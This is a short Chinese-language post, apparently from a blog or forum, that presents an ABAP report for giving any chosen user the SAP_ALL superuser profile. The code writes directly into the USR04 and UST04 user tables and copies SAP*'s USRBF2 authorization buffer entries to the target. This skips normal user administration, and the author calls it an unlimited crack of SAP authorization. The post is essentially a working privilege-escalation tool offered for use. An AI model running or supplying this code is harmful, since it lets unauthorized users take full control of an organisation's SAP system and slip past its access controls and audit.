下面的例子是给指定用户增加SAP ALL的权限ABAP代码,增加指定权限对像的没研究,只能自己看了。这应该是SAP权限的无限破解了吧。
例子中SAP*,是当前系统中有SAP_ALL权限的一个用户,用来参考使用的,根据实际系统用的最大权限用户,可修改为其它的用户。
REPORT Z_WUYF_TEST001.
data: l_USR04 LIKE USR04 ,
l_UST04 LIKE UST04 ,
l_PROFS LIKE USR04-PROFS ,
l_USRBF2 like USRBF2 occurs 0 with header line,
l_userid like usr01-bname.
TABLES : usr01.
SELECT-OPTIONS: p_user FOR USR01-BNAME .
START-OF-SELECTION.
select single * into l_USR04 from USR04
where BNAME in p_user.
move 'C SAP_ALL' to l_PROFS .
l_USR04-NRPRO = '14'.
l_USR04-PROFS = l_PROFS.
Update USR04 from l_USR04 .
l_userid = l_USR04-BNAME.
select single * into l_UST04 from UST04
where BNAME in p_user.
l_UST04-PROFILE = 'SAP_ALL'.
Update UST04 from l_UST04 .
select * from USRBF2 into table l_USRBF2
where BNAME = 'SAP*' .
Loop at l_USRBF2.
l_USRBF2-BNAME = l_userid.
Modify l_USRBF2 INDEX sy-tabix TRANSPORTING BNAME.
endloop.
INSERT USRBF2 FROM TABLE l_USRBF2 ACCEPTING DUPLICATE KEYS.